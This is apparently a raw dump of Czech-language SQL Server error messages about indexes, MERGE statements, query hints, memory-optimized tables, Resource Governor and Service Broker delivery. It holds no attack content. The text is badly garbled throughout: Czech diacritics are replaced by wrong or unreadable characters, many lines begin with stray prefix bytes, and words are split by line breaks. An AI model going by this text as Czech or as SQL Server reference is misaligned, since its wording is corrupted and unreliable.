�Aktualizace zobrazen� sn�mku selhala, proto~e se nepovedlo z�skat z�mek na datab�zi.

�Aktualizace zobrazen� sn�mku selhala, proto~e zobrazen� nen� zad�no ve form�tu n�zvu se dvma 
�stmi.

hUlo~en� procedura %1!s! je aktu�ln neaktivn�.

�Operace sestaven� online indexu byla v�ce ne~ 500x vybr�na jako posti~en� transakce zablokov�n� pYi pokusu o zpracov�n� jedin�ho Y�dku. VyYeate blokuj�c� soub~nou operaci a spusete dotaz znovu.

�Nejde zadat zahrnut� sloupce pro indexy na pameov optimalizovan�ch tabulk�ch.

�%1!s! s mo~nost� DROP_EXISTING nen� podporov�no s mo~nost� %2!s!.

�Nejde obnovit sestavov�n� indexu, proto~e nen� k dispozici po~adovan� po
et DOP %1!s! (DOP, se kter�m byla operace spuatna). Zajistte, aby byl k dispozici dostate
n� po
et DOP, nebo pYeruate st�vaj�c� operaci indexov�n� a akci opakujte.

�Mo~nost %1!s! nen� pro vytvoYen� indexu na hald podporov�na.

�Mo~nost %1!s! nen� pro vytvoYen� neclusterovan�ho indexu na clusterovan�m indexu columnstore podporov�na.

�Vytv�Yen� obnoviteln�ho indexu pro %1!s! %2!s! selhalo, proto~e index obsahuje sloupec %3!s! typu Large Object.

�Mo~nost %1!s! nen� pro vytvoYen� filtrovan�ho indexu podporov�na.

�Mo~nost %1!s! nen� podporov�na pro vytvoYen� clusterovan�ho indexu na relaci, kter� obsahuje filtrovan� index.

�Nejde pokra
ovat ve vytv�Yen� indexu, proto~e byl nalezen nespr�vn� trval� stav. PYeruate operaci a zkuste to znovu.

Mo~nost %1!s! nen� podporov�na pro vytvoYen� clusterovan�ho indexu pro tabulku obsahuj�c� neclusterovan� index columnstore.

�Parametr s hodnotou tabulky %1!s! je nastaven na hodnotu READONLY a nen� mo~n� jej upravit.

�Mo~nost READONLY nen� mo~n� pou~�t v pY�kazu EXECUTE nebo CREATE AGGREGATE.

�Mo~nosti WITH CUBE nebo WITH ROLLUP nejsou pro specifikace ROLLUP, CUBE nebo GROUPING SETS povoleny.

tPY�lia mnoho sad seskupen�. Maxim�ln� po
et je %1!s!.

HPro optovn� vyvol�n� chyby mus� b�t pY�kaz THROW pou~it v r�mci bloku CATCH. Vlo~te pY�kaz THROW do bloku CATCH nebo pYidejte k pY�kazu THROW parametry chyby.

dPoddotazy nejsou v klauzuli OUTPUT povoleny.

�V klauzuli GROUP BY bylo zad�no pY�lia mnoho pY�kazo. Jsou-li sady seskupen� podporov�ny, je maxim�ln� po
et %1!s!.

V aktu�ln�m re~imu kompatibility nejsou seskupovac� konstrukce CUBE() a ROLLUP() povoleny. Jsou povoleny pouze v re~imu 100 nebo vyaa�m.

|Napravo od oper�toru %1!s! nen� hodnota DEFAULT povolena.

�Po
et sloupco na jednotliv� Y�dky konstruktoru hodnot tabulky se mus� shodovat.

�Akce typu %1!s! nen� v klauzuli WHEN NOT MATCHED pY�kazu MERGE povolena.

�Akce typu INSERT nen� v klauzuli %1!s! pY�kazu MERGE povolena.

�Pseudosloupec %1!s! nemo~e b�t sou
�st� indexu ani nejde pou~�t jako dlic� sloupec.

\PY�kaz MERGE mus� kon
it stYedn�kem (;).

�Akce typu %1!s! se v klauzuli %2!s! pY�kazu MERGE nesm� vyskytovat v�ce ne~ jednou.

<%1!s! nen� platn� pokyn.

�VnoYen� pY�kazy INSERT, UPDATE, DELETE nebo MERGE mus� obsahovat klauzuli OUTPUT.

�Kdy~ klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE, klauzule %1!s! nen� povolena.

�Pomocn� parametry dotazu nejsou ve vnoYen�ch pY�kazech INSERT, UPDATE, DELETE nebo MERGE povoleny.

�Vztahy ciz�ch kl�
o z pameov optimalizovan� tabulky s mo~nost� DURABILITY nastavenou na SCHEMA_AND_DATA do pameov optimalizovan� tabulky s mo~nost� DURABILITY nastavenou na SCHEMA_ONLY nejsou podporovan�.

�Klauzule OUTPUT INTO nen� ve vnoYen�ch pY�kazech INSERT, UPDATE, DELETE nebo MERGE povolena.

�Klauzule WHERE CURRENT OF nen� ve vnoYen�ch pY�kazech INSERT, UPDATE, DELETE nebo MERGE povolena.

�Kdy~ klauzule FROM obsahuje vnoYen� pY�kaz INSERT, UPDATE, DELETE nebo MERGE, nen� kl�
ov� slovo DISTINCT povoleno.

�V pY�kazu MERGE nen� mo~n� v jednom pYiYazen� klauzule SET akce UPDATE nastavit promnnou pro sloupec i v�raz. PYiYazen� ve form SET @variable = column = expression nejsou v klauzuli SET akce UPDATE pY�kazu MERGE platn�. Upravte klauzuli SET tak, aby obsahovala pouze pYiYazen� ve form SET @variable = column nebo SET @variable = expression.

�Pomocn� parametr FORCESEEK nen� pro c�lov� tabulky pY�kazo INSERT, UPDATE nebo DELETE povolen.

�V pY�kazech DECLARE, CREATE AGGREGATE a CREATE FUNCTION nelze pou~�t mo~nost VARYING.

�U~ivatelem definovan� agregace nepodporuj� v�choz� parametry.

�VnoYen� pY�kazy INSERT, UPDATE, DELETE nebo MERGE nejsou povoleny na ~�dn� stran oper�toro JOIN nebo APPLY.

�VnoYen� pY�kazy INSERT, UPDATE, DELETE nebo MERGE nen� mo~n� pou~�t jako zdroje tabulky oper�toro PIVOT nebo UNPIVOT.

VnoYen� pY�kazy INSERT, UPDATE, DELETE nebo MERGE nejsou povoleny v pY�kazu SELECT, kter� nen� okam~it�m zdrojem Y�dko pY�kazu INSERT.

�VnoYen� pY�kazy INSERT, UPDATE, DELETE nebo MERGE nejsou povoleny v klauzuli FROM pY�kazo UPDATE nebo DELETE.

VnoYen� pY�kazy INSERT, UPDATE, DELETE nebo MERGE nen� mo~n� pou~�t uvnitY jin�ch vnoYen�ch pY�kazo INSERT, UPDATE, DELETE nebo MERGE.

�VnoYen� pY�kazy INSERT, UPDATE, DELETE nebo MERGE nejsou povoleny na ~�dn� stran oper�toro UNION, INTERSECT a APPLY.

�VnoYen� pY�kazy INSERT, UPDATE, DELETE nebo MERGE nejsou povoleny v klauzuli USING pY�kazu MERGE.

�PYiYazen� promnn� nen� povoleno v pY�kazu, kter� obsahuje oper�tory nejvyaa� �rovn UNION, INTERSECT nebo EXCEPT.

�Pro filtrovan� objekt %1!s! %2!s! tabulky %3!s! byla pou~ita nespr�vn� klauzule WHERE.

tPY�kaz FULLTEXT STOPLIST mus� kon
it stYedn�kem (;).

hPokud je v klauzuli DATA_COMPRESSION pY�kazu ALTER TABLE REBUILD nebo ALTER INDEX REBUILD zad�n odd�l, mus� b�t zad�na klauzule PARTITION=ALL. Klauzule PARTITION=ALL znamen�, ~e budou optovn sestaveny vaechny odd�ly tabulky nebo indexu, i pokud je v klauzuli DATA_COMPRESSION zad�na pouze podmno~ina.

�Po
et hodnotov�ch v�razo Y�dko v pY�kazu INSERT pYekra
uje maxim�ln� povolen� po
et hodnot Y�dko %1!s!.

�Seznam vlo~en�ch sloupco pY�kazu MERGE nesm� obsahovat identifik�tory o v�ce 
�stech. Pou~ijte jednoduch� identifik�tory.

�PY�kaz seznamu vyhled�v�n� vlastnost� mus� kon
it stYedn�kem (;).

�Klauzuli TOP nelze pou~�t ve stejn�m dotazu nebo poddotazu jako klauzuli OFFSET.

hPosun ur
en� klauzul� OFFSET nesm� b�t z�porn�.

�Po
et Y�dko poskytnut� klauzuli OFFSET mus� b�t cel� 
�slo.

�Po
et Y�dko poskytnut� klauzuli FETCH mus� b�t vta� ne~ nula.

�Pomocn� parametr FORCESCAN nen� pro c�lov� tabulky pY�kazo INSERT, UPDATE nebo DELETE povolen.

0Pomocn� parametr FORCESCAN je ur
ov�n sou
asn s pomocn�m parametrem FORCESEEK. Odeberte jeden z tchto pomocn�ch parametro a odealete dotaz znovu.

�Pomocn� parametr FORCESEEK s parametry nelze pou~�t na stejn�m objektu sou
asn s pomocn�mi parametry INDEX, ani s pomocn�m parametrem FORCESEEK bez parametro. Pou~ijte bu pomocn� parametry INDEX a pomocn� parametr FORCESEEK bez parametro, nebo pomocn� parametr FORCESEEK s parametry bez pomocn�ch parametro INDEX pro jednotliv� tabulky a zobrazen�.

0Ve stejn� tabulce 
i zobrazen� je ur
eno v�ce pomocn�ch parametro FORCESEEK. Odeberte nadbyte
n� pomocn� parametry FORCESEEKa odealete dotaz znovu.

�Pomocn� parametr FORCESEEK nelze pou~�t s indexem 0. Opravte index a odealete dotaz znovu.

<Pomocn� parametr FORCESCAN nelze pou~�t s v�ce ne~ jedn�m pomocn�m parametrem INDEX. Odeberte nadbyte
n� pomocn� parametry INDEX a odealete dotaz znovu.

�Klauzule ORDER BY v klauzuli WITHIN GROUP funkce %1!s! mus� obsahovat pYesn jeden v�raz.

\Funkce %1!s! nemo~e obsahovat r�mec okna.

`Funkce %1!s! mus� obsahovat klauzuli OVER.

pFunkce %1!s! mus� obsahovat klauzuli WITHIN GROUP.

�Funkce %1!s! mo~e b�t vol�na s n�sleduj�c�m po
tem argumento: %2!s! %3!s!.

�R�mec okna v klauzuli ROWS nebo RANGE mus� obsahovat klauzuli ORDER BY.

tFunkce %1!s! nemo~e obsahovat klauzuli WITHIN GROUP.

�Funkce %1!s! nemo~e obsahovat klauzuli ORDER BY v klauzuli OVER.

|Pou~it� klauzule DISTINCT s klauzul� OVER nen� povoleno.

0Argument mY�tka nen� platn�. Platn� v�razy pro argument mY�tka datov�ho typu %1!s! jsou celo
�seln� konstanty nebo celo
�seln� konstantn� v�razy.

dDatov� typ %1!s! ve funkci %2!s! je neplatn�.

�Funkce %1!s! nen� v aktu�ln�m re~imu kompatibility povolena. Je povolena pouze v re~imu 110 nebo vyaa�m.

Klauzule GROUP BY mo~e obsahovat pouze jeden pomocn� parametr dotazu. Odeberte nadbyte
n� pomocn� parametry a spusete dotaz znovu.

lPo
et sloupco seskupen� v dotazu pYekro
il maxim�ln� povolen� po
et. Syst�m SQL Server povoluje 64 tis�c sloupco seskupen�. Sni~te po
et sloupco seskupen� a spusete dotaz znovu.

�Pomocn� parametry DISTRIBUTED_AGG a CENTRAL_AGG nelze pou~�t s klauzul� CUBE a ROLLUP. ZmHte dotaz a znovu jej spusete.

�Pomocn� parametr CENTRAL_AGG mus� b�t zad�n po vaech sloupc�ch v klauzuli GROUP BY. ZmHte dotaz a znovu jej spusete.

,Pomocn� parametr DISTRIBUTED_AGG nelze pou~�t, pokud klauzule GROUP BY obsahuje tent�~ sloupec v�ce ne~ jednou. ZmHte dotaz a znovu jej spusete.

�Pomocn� parametr LABEL lze v dotazu pou~�t pouze jednou. ZmHte dotaz a znovu jej spusete.

|Mo~nosti SET nejsou uvnitY atomick�ch bloko podporovan�.

 K�nastaven� REMOTE_DATA_ARCHIVE pro datab�zi se vy~aduje mo~nost SERVER a jedna z�mo~nost� CREDENTIAL nebo FEDERATED_SERVICE_ACCOUNT = ON.

�Mo~nost CREDENTIAL se ned� pou~�t s�mo~nost� FEDERATED_SERVICE_ACCOUNT = ON.

�Pro odkaz na zobrazen� nebo tabulku se zadalo nkolik pomocn�ch parametro REMOTE_DATA_ARCHIVE_OVERRIDE. Odeberte pomocn� parametry REMOTE_DATA_ARCHIVE_OVERRIDE, kter� jsou nav�c, a potom dotaz odealete znovu.

�Pomocn� parametr REMOTE_DATA_ARCHIVE_OVERRIDE nejde pou~�t pro objekt %1!s!, proto~e to nen� tabulka s povolen�m parametrem REMOTE_DATA_ARCHIVE. Odeberte pomocn� parametr REMOTE_DATA_ARCHIVE_OVERRIDE a odealete dotaz znovu.

dNespr�vn� klauzule WHERE pro filtrovan� index

XObjekt %1!s! nen� pameov optimalizovan� tabulka ani nativn zkompilovan� vlo~en� funkce vracej�c� tabulku a nejde k nmu pYistupovat z nativn kompilovan�ho modulu.

�Aktiva
n� ud�losti pro tabulky, kter� nejsou pameov optimalizovan�, nemo~ou pou~�vat mo~nost WITH NATIVE_COMPILATION.

�Aktiva
n� ud�losti pameov optimalizovan� tabulky mus� pou~�vat mo~nost WITH NATIVE_COMPILATION.

�Relace ciz�ch kl�
o mezi pameov optimalizovan�mi tabulkami a pameov neoptimalizovan�mi tabulkami nejsou podporovan�.

�Mo~nost st�losti schema_only je podporov�na pouze v pameov optimalizovan�ch tabulk�ch.

�V odkazovan� tabulce %1!s! nen� ~�dn� prim�rn� kl�
, kter� by odpov�dal seznamu odkazuj�c�ch sloupco v ciz�m kl�
i %2!s!. Ciz� kl�
e v pameov optimalizovan�ch tabulk�ch mus� odkazovat na prim�rn� kl�
e.

�Querytraceon %1!s! a pokyn optimaliz�toru %2!s! ur
uj� konfliktn� chov�n�. Odeberte jeden z nich a spusete dotaz znovu.

�PY�kaz BEGIN ATOMIC je podporovan� jenom v nativn kompilovan�ch modulech.

�Obsah nativn kompilovan�ho modulu mus� b�t atomick� blok.

�V klauzuli WITH pY�kazu BEGIN ATOMIC mus� b�t zad�na hodnota pro mo~nost %1!s!.

\%1!s! %2!s! se podporuje jenom s: %3!s!.

�PY�kaz ALTER AVAILABILITY GROUP se nezdaYil, proto~e obsahoval v�ce mo~nost� MODIFY REPLICA: %1!s!. Zadejte samostatn� pY�kaz ALTER AVAILABILITY GROUP ... MODIFY REPLICA pro vaechny mo~nosti repliky, kter� chcete upravit.

�Pomocn� parametry REPEATABLEREAD a SERIALIZABLE nejsou povolen� pro tabulky typu Hekaton s indexy columnstore.

hMo~nost %1!s! nen� podporov�na u typo tabulek.

�Mo~nost %1!s! mus� b�t zad�na pro index %2!s! v tabulce %3!s!. Je po~adovan� pro indexy hash.

hMo~nost %1!s! lze zadat pouze pro indexy hash.

�Indexy hash jsou povoleny pouze v pameov optimalizovan�ch tabulk�ch.

�PYi pou~it� v nativn kompilovan�m modulu se funkce %1!s! nesm� nach�zet mimo blok CATCH.

pIndexu a omezen� PRIMARY KEY byla definov�na vlo~en�m s definic� sloupce %1!s!, tabulka %2!s!. Definov�n�m indexu a omezen� PRIMARY KEY vlo~en�m s definic� sloupce nen� povoleno.

T%1!s! %2!s! nen� u %3!s! podporov�no.

�Promnn� %1!s! byla deklarov�na jako nenulov� a mus� b�t deklarov�na s po
�te
n� hodnotou.

�Mo~nost SCHEMABINDING je podporovan� jenom pro nativn kompilovan� moduly a pro tyto moduly se vy~aduje.

�V ka~d� datab�zi je povolena jen jedna skupina souboro MEMORY_OPTIMIZED_DATA.

$Toto nen� platn� nastaven� komprimace dat pro tento objekt. Lze jej pou~�t pouze u indexo columnstore. Zvolte komprimaci NONE, PAGE nebo ROW.

�Toto nen� platn� nastaven� komprimace dat pro index columnstore. Zvolte komprimaci COLUMNSTORE nebo COLUMNSTORE_ARCHIVE.

�Naslouchac� proces pro prostYedek slu~by WSFC %1!s! se nepodaYilo spustit. Byl vr�cen k�d chyby %2!s!, %3!s!. Dala� informace o tomto k�du chyby naleznete v 
�sti K�dy syst�mov�ch chyb v dokumentaci Windows Development.

(Zastaven� naslouchac�ho procesu pro prostYedek clusteru Windows s podporou pYevzet� slu~eb pYi selh�n� %1!s! se nezdaYilo. Chyba: %2!s!. %3!s!

�PYi spuatn� se nepodaYilo nakonfigurovat spr�vce zdrojo. Zkontrolujte chybov� hl�aen� v protokolu chyb syst�mu SQL Server nebo zkontrolujte konzistenci hlavn� datab�ze spuatn�m pY�kazu DBCC CHECKCATALOG('master').

�U~ivatel nem� opr�vnn� ke zmn konfigurace spr�vce zdrojo.

�U~ivatelem definovan� funkce %1!s! v hlavn� datab�zi neexistuje, nebo u~ivatel nem� opr�vnn� k pY�stupu.

�Zadan� n�zev sch�matu %1!s! u~ivatelem definovan� funkce tY�dn� neexistuje, nebo u~ivatel nem� opr�vnn� k pY�stupu.

�Konfigurace spr�vce zdrojo se nezdaYila. Aktivn� relace ve skupin�ch �loh byly vyYazeny nebo pYesunuty do jin�ch fondo zdrojo. Odpojte aktivn� relace v doty
n�ch skupin�ch �loh a akci opakujte.

HZ dovodu nedostatku pamti se nepodaYilo dokon
it konfiguraci spr�vce zdrojo. Sni~te zat�~en� serveru nebo akci opakujte pomoc� vyhrazen�ho pYipojen� spr�vce.

�Objekt%1!s!.%2!s! nen� platn� u~ivatelem definovan� funkce tY�dn� spr�vce zdrojo. Platn� u~ivatelem definovan� funkce tY�dn� mus� b�t sv�zan� se sch�matem, mus� vracet n�zev syst�mu a nesm� obsahovat parametry.

�Atribut %1!s! s hodnotou %2!s! je vta� ne~ atribut %3!s! s hodnotou %4!s!.

�Atribut %1!s! s hodnotou %2!s! je mena� ne~ atribut %3!s! s hodnotou %4!s!.

Nelze vytvoYit fond zdrojo. Maxim�ln� po
et fondo zdrojo v
etn pYeddefinovan�ch fondo zdrojo nesm� pYekra
ovat aktu�ln� limit (%1!s!).

Operaci nebylo mo~n� dokon
it. Zadan� hodnota %1!s! (%2!s!) zposobuje, ~e sou
et minim�ln�ch hodnot fondo zdrojo pro pl�nova
 %3!s! pYekra
uje 100 procent. Sni~te hodnotu pro jeden nebo v�ce fondo nebo zmHte spYa~en� fondu tak, aby sou
et mena� nebo roven 100.

�Po~adovanou operaci nebylo mo~n� prov�st, proto~e fond zdrojo %1!s! neexistuje.

�Operaci nebylo mo~n� dokon
it. VyYazov�n� pYeddefinovan�ch objekto %1!s! nen� povoleno.

�U~ivatelom nen� povoleno prov�dt akci %1!s! se skupinou �loh %2!s! ve fondu zdrojo %3!s!.

xN�zev objektu %1!s! %2!s! nemo~e za
�nat 
�slem # z ##.

�Operaci nebylo mo~n� dokon
it. Zmna objektu %2!s! %1!s! nen� povolena.

HNelze vyYadit fond zdrojo %1!s!, proto~e obsahuje skupinu �loh %2!s!. Ne~ jej vyYad�te, vyYate nebo odeberte pomoc� dan�ho fondu zdrojo vaechny skupiny �loh.

�PY�kaz ALTER WORKLOAD GROUP se nezdaYil. Je potYeba zadat klauzuli WITH nebo USING.

|Objekt %1!s! %2!s! nelze vytvoYit, proto~e ji~ existuje.

$PYi na
�t�n� konfigurace spr�vce zdrojo z hlavn� datab�ze doalo k chyb. OvYte integritu hlavn� datab�ze nebo se obraete na spr�vce syst�mu.

�Nelze prov�st akci %1!s! s u~ivatelem definovanou funkc� %2!s!. Slou~� ke tY�dn� spr�vce zdrojo.

|Objekt %2!s! %1!s! nelze pYesunout z objektu %4!s! %3!s!.

hPY�kaz %1!s! se nezdaYil. Spusete pY�kaz znovu.

Proces %1!s! se nezdaYil. Spr�vce zdrojo nen� v t�to edici syst�mu SQL Server k dispozici. S metadaty spr�vce zdrojo je mo~n� pracovat, ale nen� mo~n� pou~�t konfiguraci spr�vce zdrojo. Spr�vce zdrojo podporuje pouze edice Enterprise produktu SQL Server.

�Rozsah spYa~en� fondu je neplatn�. Doln� hranice %1!s! mus� b�t mena� ne~ horn� hranice %2!s!.

�Hodnota %1!s! byla v seznamu rozsahu spYa~en� fondu zad�na v�cekr�t.

|Rozsah %1!s!, kter� ur
uje hodnotu %2!s! %3!s!, obsahuje nejm�n jednu polo~ku %4!s!, kter� nen� v aktu�ln� instanci dostupn�.  Maxim�ln� po
et %5!s! dostupn� v t�to instanci je %6!s!.

Operaci nebylo mo~n� dokon
it. Zadan� hodnota %1!s! (%2!s!) zposobuje, ~e sou
et minim�ln�ch hodnot skupin �loh pou~�vaj�c�ch fond zdrojo %3!s! pYekra
uje 100 procent. Sni~te hodnotu nebo upravte ostatn� skupiny �loh tak, aby sou
et nepYekra
oval 100.

4ID zdroje: %1!s!. Limit %2!s! pro datab�zi je %3!s! a bylo ho dosa~eno. Dala� pomoc z�sk�te na adrese http://go.microsoft.com/fwlink/?LinkId=267637.

|Slu~ba je aktu�ln zanepr�zdnna. Opakujte akci pozdji.

�Fond zdrojo %1!s! nelze vyYadit, proto~e je v�z�n na datab�zi. Ne~ tento fond zdrojo vyYad�te, odeberte vaechny vazby.

dKonfigurace spr�vce zdrojo se nezdaYila, proto~e fond datab�z� obsahuje aktivn� datab�zi, kter� je aktu�ln vyYazov�na. PYepnte datab�zi do re~imu offline a opakujte akci.

Polo~ka %1!s! s ID %2!s! v tomto syst�mu neexistuje. K nalezen� polo~ek %3!s! platn�ch pro tento syst�m pou~ijte sys.dm_os_schedulers.

�Po~adovanou operaci nebylo mo~n� prov�st, proto~e extern� fond zdrojo %1!s! neexistuje.

�Extern� fond zdrojo neumo~Huje v�c ne~ jednu skupinu procesoro.

HID prostYedku: %1!s!. Limit %2!s! pro elastick� fond je %3!s! a bylo ho dosa~eno. Dala� pomoc z�sk�te na adrese http://go.microsoft.com/fwlink/?LinkId=267637.

tV�choz� skupina �lohy neumo~Huje mnit atribut %1!s!.

�Po~adavek byl pYeruaen, proto~e jeho vyu~it� procesoru pYekra
uje maxim�ln� nakonfigurovan� limit pro skupinu �lohy.

�Spuatn� u~ivatelem definovan� funkce %1!s! tY�dn� spr�vce zdrojo se nezdaYilo. Posledn� chyba: %2!s!, stav: %3!s!. Podrobnosti z�sk�te zobrazen�m pYedchoz�ch chyb relace s ID %4!s!.  Uplynul� 
as tY�dn�: %5!s! ms.

tOperace %1!s! spr�vce zdrojo byla zruaena u~ivatelem.

lOptovn� konfigurace spr�vce zdrojo se nezdaYila.

TK�d stavu dan�ho sloupce je nezn�m�.

`Hodnota jin� ne~ null byla �span vr�cena.

�Doalo k odlo~en� pY�stupu pYistupuj�c�ho objektu. Vazba dan�ho sloupce je neplatn�.

�Nen� mo~n� pYev�st hodnotu dat z jin�ch dovodo ne~ neshody znam�nka nebo pYete
en�.

PHodnota NULL byla �span vr�cena.

XZkr�cen� hodnota byla �span vr�cena.

�Z dovodu neshody znam�nka se nezdaYilo datov� typ pYev�st.

�PYeveden� se nezdaYilo, proto~e hodnota dat pYet�k� datov� typ pou~�van� zprostYedkovatelem.

�ZprostYedkovatel nemohl pYidlit pame nebo otevY�t dala� objekt �lo~iat dan�ho sloupce.

tZprostYedkovatel nemohl ur
it hodnotu dan�ho sloupce.

tU~ivatel neml opr�vnn� k z�pisu do dan�ho sloupce.

�Hodnota dat poruaila omezuj�c� podm�nku integrity sloupce.

THodnota dat poruaila sch�ma sloupce.

@Stav sloupce byl nespr�vn�.

LSloupec pou~�val v�choz� hodnotu.

XPYi zad�v�n� dat byl sloupec vynech�n.

DX�dek byl �span odstrann.

�Tabulka byla v re~imu okam~it� aktualizace a odstrann� jednoho Y�dku zposobilo odstrann� v�ce Y�dko ve zdroji dat.

`X�dek byl uvolnn i pYes nevyY�zenou zmnu.

dOdstrann� Y�dku bylo bhem ozn�men� zruaeno.

PSada Y�dko pou~�vala optimistickou metodu soub~n�ho zpracov�n� a hodnota sloupce byla zmnna od posledn�ho na
ten� nebo optovn� synchronizace pY�sluan�ho Y�dku.

�X�dek 
ek� na odstrann�, nebo bylo odstrann� pYeneseno do zdroje dat.

PX�dek je nevyY�zen� vlo~en� Y�dek.

�Hodnota nastaven� DBPROP_CHANGEINSERTEDROWS byla VARIANT_FALSE a vlo~en� Y�dku bylo pYeneseno do zdroje dat.

�Odstrann� Y�dku poruailo omezuj�c� podm�nku integrity sloupce nebo tabulky.

�Popisova
 Y�dku byl neplatn� nebo k nmu aktu�ln� vl�kno nem� pY�stupov� pr�va.

�Odstrann� Y�dku by pYekro
ilo limit nevyY�zen�ch zmn, kter� je ur
en vlastnost� sady Y�dko DBPROP_MAXPENDINGROWS.

PV Y�dku je otevYen objekt �lo~iat.

�ZprostYedkovatel nemohl Y�dek na
�st z dovodu nedostatku pamti.

tK odstrann� Y�dku neml u~ivatel potYebn� opr�vnn�.

$Tabulka byla v re~imu okam~it� aktualizace a Y�dek nebyl odstrann z dovodu dosa~en� limitu serveru, napY. 
asov�ho limitu proveden� dotazu.

\Aktualizace nesplnila po~adavky sch�matu.

�Doalo k zotaviteln� chyb specifick� pro zprostYedkovatele, napY. k selh�n� vzd�len�ho vol�n� procedur (RPC).

�ZprostYedkovatel ozna
uje, ~e doalo ke konfliktom s jin�mi vlastnostmi nebo po~adavky.

�NepodaYilo se z�skat rozhran� nezbytn� pro pY�stup k datov�mu typu text, ntext nebo image.

�ZprostYedkovatel nepodporuje po~adovan� rozhran� prohled�v�n� Y�dko.

�ZprostYedkovatel nepodporuje rozhran� po~adovan� pro pY�kazy UPDATE, DELETE nebo INSERT.

tZprostYedkovatel v t�to tabulce nepodporuje vkl�d�n�.

|ZprostYedkovatel v t�to tabulce nepodporuje aktualizace.

|ZprostYedkovatel v t�to tabulce nepodporuje odstraHov�n�.

xZprostYedkovatel nepodporuje pozici prohled�v�n� Y�dko.

pZprostYedkovatel nepodporuje po~adovanou vlastnost.

�ZprostYedkovatel v tomto zdroji dat nepodporuje skenov�n� indexu.

�Zpr�vu se nepodaYilo doru
it z dovodu chybj�c�ho n�zvu slu~by klauzule FROM. Povod zpr�vy: %1!s!.

8Zpr�va byla vyYazena, proto~e n�zev slu~by klauzule FROM pYekra
uje maxim�ln� povolenou velikost %1!s! bajto. N�zev slu~by: %2!s!. Povod zpr�vy: %3!s!.

�Zpr�va byla vyYazena z dovodu chybj�c� instance zprostYedkovatele klauzule FROM. Povod zpr�vy: %1!s!.

pZpr�va byla vyYazena, proto~e instance zprostYedkovatele klauzule FROM pYekra
uje maxim�ln� povolenou velikost %1!s! bajto. Instance zprostYedkovatele: %2!s!. Povod zpr�vy: %3!s!.

�Zpr�va byla vyYazena z dovodu chybj�c�ho n�zvu slu~by klauzule TO. Povod zpr�vy: %1!s!.

4Zpr�va byla vyYazena, proto~e n�zev slu~by klauzule TO pYekra
uje maxim�ln� povolenou velikost %1!s! bajto. N�zev slu~by: %2!s!. Povod zpr�vy: %3!s!.

�Zpr�va byla vyYazena z dovodu chybj�c�ho n�zvu kontraktu slu~by. Povod zpr�vy: %1!s!.

8Zpr�va byla vyYazena, proto~e n�zev kontraktu slu~by pYekra
uje maxim�ln� povolenou velikost %1!s! bajto. N�zev kontraktu :%2!s!. Povod zpr�vy: %3!s!.

�Zpr�va nebyla doru
ena, proto~e ID konverzace nelze pYidru~it k aktivn� konverzaci. Povod zpr�vy: %1!s!.

�Zpr�va byla vyYazena, proto~e slu~ba klauzule TO nebyla nalezena. N�zev slu~by: %1!s!. Povod zpr�vy: %2!s!.

Zpr�va byla vyYazena, proto~e u~ivatel nem� potYebn� opr�vnn� k pY�stupu do c�lov� datab�ze. ID datab�ze: %1!s!. Povod zpr�vy: %2!s!.

�Zpr�va nebyla doru
ena, proto~e koncov� bod konverzace byl ji~ uzavYen.

�Zpr�va nebyla doru
ena, proto~e dan� zpr�va nen� prvn� zpr�vou v konverzaci.

�Zpr�va nebyla doru
ena, proto~e kontrakt %1!s! nebyl nalezen nebo slu~ba pro dan� kontrakt konverzace nepovoluje.

Zpr�vu nelze doru
it, proto~e u~ivatel s ID %1!s! v ID datab�ze %2!s! nem� opr�vnn� k odes�l�n� zpr�v do slu~by. N�zev slu~by: %3!s!.

�Zpr�va nebyla doru
ena, proto~e danou zpr�vu ji~ zpracov�v� jin� �loha.

(Zpr�va nebyla doru
ena, proto~e je vzhledem ke konverzaci mimo sekvenci. �slo sekvence c�lov� konverzace: %1!s!, 
�slo sekvence zpr�vy: %2!s!.

lTuto zpr�vu nelze doru
it, proto~e je duplicitn�.

�Zpr�va nebyla doru
ena, proto~e c�lov� fronta byla zak�z�na. ID fronty: %1!s!.

�Zpr�vu se nepodaYilo doru
it z dovodu chybj�c� instance zprostYedkovatele klauzule TO.

�Zpr�va nebyla doru
ena z dovodu nekonzistence v z�hlav� zpr�vy.

�Zpr�va nebyla doru
ena, proto~e n�zev slu~by klauzule TO ve zpr�v neodpov�d� n�zvu v koncov�m bodu konverzace. N�zev slu~by klauzule TO ve zpr�v: %1!s!. N�zev slu~by klauzule TO koncov�ho bodu: %2!s!.

�Zpr�va nebyla doru
ena, proto~e n�zev kontraktu slu~by ve zpr�v neodpov�d� n�zvu v koncov�m bodu konverzace. N�zev kontraktu slu~by ve zpr�v: %1!s!. N�zev kontraktu slu~by koncov�ho bodu konverzace: %2!s!.

�Zpr�va nebyla doru
ena, proto~e konverzaci s dan�m koncov�m bodem ji~ zah�jila jin� instance programu slu~by.

�Zpr�va nebyla doru
ena, proto~e n�zev typu zpr�vy nebyl nalezen. N�zev typu zpr�vy: %1!s!.

 Zpr�va nebyla doru
ena, proto~e n�zev typu zpr�vy nen� sou
�st� kontraktu slu~by. N�zev typu zpr�vy: %1!s!. N�zev kontraktu slu~by: %2!s!.

DZpr�va nebyla doru
ena, proto~e slu~ba inici�toru odeslala typ zpr�vy, kter� mo~e odeslat pouze c�l. N�zev typu zpr�vy: %1!s!. N�zev kontraktu slu~by: %2!s!.

HZpr�va nebyla doru
ena, proto~e c�lov� slu~ba odeslala typ zpr�vy, kter� mo~e odeslat pouze inici�tor. N�zev typu zpr�vy: %1!s!. N�zev kontraktu slu~by: %2!s!.

�Zpr�va nebyla doru
ena, proto~e se nepodaYilo na
�st kontext zabezpe
en�.

�Zpr�va nebyla doru
ena, proto~e se zpr�vu nepodaYilo deaifrovat a ovYit.

�Zpr�va nebyla doru
ena, proto~e koncov� bod konverzace nen� zabezpe
en, ale zpr�va ano.

�Zpr�va nebyla doru
ena, proto~e koncov� bod konverzace je zabezpe
en, ale zpr�va nikoli.

�Zpr�va byla vyYazena, proto~e se kl�
 relace koncov�ho bodu konverzace neshoduje s kl�
em relace zpr�vy.

�Zpr�va nebyla doru
ena, proto~e se pYi jej�m zpracov�v�n� vyskytla intern� chyba. K�d chyby: %1!s!, stav: %2!s!. %3!s!.

�Byla pYijata poakozen� zpr�va. Bin�rn� tY�da zpr�vy (%1!s!:%2!s!) nebyla definov�na. To mo~e znamenat, ~e doalo k pot�~�m se s�t� nebo ~e se na koncov� bod slu~by Service Broker pYipojila jin� aplikace.

�Byla pYijata poakozen� zpr�va. O
ek�van� velikost bin�rn�ho z�hlav� byla %1!s!, velikost pYijat�ho z�hlav� je %2!s!.

